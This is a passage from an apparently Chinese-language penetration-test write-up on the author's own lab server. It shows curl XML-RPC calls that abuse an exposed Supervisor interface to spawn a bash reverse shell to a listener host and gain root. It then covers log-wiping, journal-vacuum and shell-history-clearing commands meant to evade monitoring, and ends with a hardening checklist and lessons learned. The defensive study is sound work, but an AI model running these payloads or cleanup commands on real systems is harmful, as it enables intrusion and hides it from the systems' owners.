UI重启、停止、启动进程。我尝试“重启nginx”成功。但更关键的是Supervisor支持配置文件热加载——如果我能修改其配置就能让其运行任意命令。检查配置路径ps aux | grep supervisord # /usr/bin/python3 /usr/bin/supervisord -c /etc/supervisor/supervisord.conf/etc/supervisor/supervisord.conf权限为644root所有。但我没有root权限。不过Supervisor的Web UI有个隐藏功能通过XML-RPC接口执行任意命令。我用curl测试curl -X POST http://192.168.10.50:9001/RPC2 \ -H Content-Type: text/xml \ --data methodCallmethodNamesupervisor.getState/methodNameparams/params/methodCall返回正常状态。接着调用supervisor.startProcesscurl -X POST http://192.168.10.50:9001/RPC2 \ -H Content-Type: text/xml \ --data methodCallmethodNamesupervisor.startProcess/methodNameparamsparamvaluestringnginx/string/value/param/params/methodCall成功。但我想执行shell命令。查文档发现Supervisor本身不支持直接执行shell但可以配置一个新进程来执行。于是构造curl -X POST http://192.168.10.50:9001/RPC2 \ -H Content-Type: text/xml \ --data methodCallmethodNamesupervisor.addProcessGroup/methodNameparamsparamvaluestructmembernamename/namevaluestringshell_test/string/value/membermembernamecommand/namevaluestring/bin/bash -c bash -i /dev/tcp/192.168.10.100/5555 01/string/value/membermembernameautostart/namevalueboolean1/boolean/value/member/struct/value/param/params/methodCallKali监听5555端口几秒后收到root shell。这个技巧的关键在于Supervisor的addProcessGroup API允许动态添加进程组而command字段就是任意shell命令。它比改配置文件更快速且无需文件写入权限。6. 痕迹清理与防御反思为什么“清除日志”是最危险的操作6.1 日志清理的致命陷阱拿到root权限后第一反应是清日志。我执行cat /dev/null /var/log/auth.log cat /dev/null /var/log/syslog cat /dev/null /var/log/kern.log看似干净了。但第二天运维同事就发现了异常监控系统告警“/var/log/auth.log last modified time jumped backward”。原来日志轮转服务logrotate每小时检查一次文件修改时间若发现修改时间早于上次记录会触发告警。更糟的是cat /dev/null file会改变文件的inode号和mtime而审计系统记录的是inode变更。我立刻改用安全方式truncate -s 0 /var/log/auth.log truncate -s 0 /var/log/syslogtruncate只清空内容不改变inode和mtime规避了时间跳跃告警。但这只是表象。真正的风险在于删除日志不是为了“不被发现”而是为了“不被溯源”。我后来检查/var/log/journal/systemd journal发现journalctl日志未被清空且journal默认持久化存储。执行journalctl --disk-usage显示占用2.3G。这意味着即使清空/var/log/下的文本日志journal仍保留所有操作记录。正确做法是journalctl --vacuum-size100M # 仅保留最近100M日志 # 或彻底禁用journal持久化不推荐 sudo mkdir -p /var/log/journal sudo systemd-tmpfiles --create --prefix /var/log/journal6.2 防御加固清单从“堵洞”到“重构信任链”这次自测最大的收获不是发现了多少漏洞而是看清了防御的底层逻辑。我把修复措施分为三层层级问题点修复方案原理说明基础设施层Redis未授权、Docker API暴露1. Redis绑定127.0.0.1设requirepass2. Docker禁用2375端口改用TLS认证消除攻击面最直接的方式是网络隔离强认证而非依赖“没人知道”应用层Supervisor弱口令、PHP配置泄露1. Supervisor启用HTTPSBasic Auth2. 将config.php移出Web根目录用环境变量注入配置即代码敏感信息必须与代码分离且传输通道加密架构层单机部署所有服务、无权限分离1. Web、DB、Cache分三台虚拟机2. 使用非root用户运行服务www-data跑Nginxmysql用户跑MySQL权限最小化原则即使一台被攻破也无法直接跳转到其他服务特别强调一点不要迷信“隐藏管理接口”。我把Supervisor UI的端口从9001改成9002并加了Nginx反向代理做IP白名单结果在渗透中发现——只要能访问服务器就能通过netstat -tuln看到所有监听端口。真正的安全是让每个服务即使被直接访问也因强认证和最小权限而无法被利用。7. 学习复盘渗透测试的本质是“系统性怀疑”这次自测试渗透实战耗时3天但复盘花了整整一周。最大的认知刷新是渗透测试不是技术炫技而是一套严谨的怀疑方法论。比如当我看到Redis开放6379端口时本能反应不是“快去打exploit”而是连续问五个问题它监听在哪个IP0.0.0.0还是127.0.0.1是否启用了认证CONFIG GET requirepass哪些命令被禁用手动发INFO确认白名单是否有配套服务可联动Docker、Supervisor是否在同一网段管理员可能犯了什么典型错误如用默认密码、开调试端口、不更新版本这五个问题覆盖了信息收集、服务分析、组合利用、人性预判四个维度。很多新手卡在第一步是因为把“扫描”当成目的而忘了扫描只是为回答问题服务的工具。另外我整理了本次实战中踩过的三个真实坑分享给后来者坑一误判Nmap版本识别Nmap说Redis是6.2.6我就默认所有6.2.6特性都可用。结果CONFIG GET被禁差点放弃。教训永远用nc或telnet手动验证关键命令Nmap只是起点不是终点。坑二忽略Docker socket权限看到/var/run/docker.sock权限是srw-rw----我以为只有docker组能用却忘了www-data虽不在组内但可通过HTTP API绕过。教训权限检查要分层文件系统权限、进程权限、网络权限、API权限缺一不可。坑三过度清理日志清空auth.log后触发监控告警暴露了操作痕迹。教训防御者比你更懂日志与其删日志不如让日志里不出现可疑行为——比如用合法命令实现目标truncate代替cat /dev/null 。最后再分享一个小技巧每次渗透前先用history -c history -w清空自己的Shell历史避免在目标机上留下nc -lvnp 4444这类命令记录。这不是为了掩盖而是训练一种职业习惯——真正的安全从业者既要知道怎么攻更要明白怎么守既要有攻击者的锐利也要有防御者的缜密。这次自测的终点不是关掉那台虚拟机而是把发现的17个问题逐条写进团队的《上线安全检查清单》。因为最好的渗透报告从来不是PDF而是被写进CI/CD流水线里的自动化检测脚本。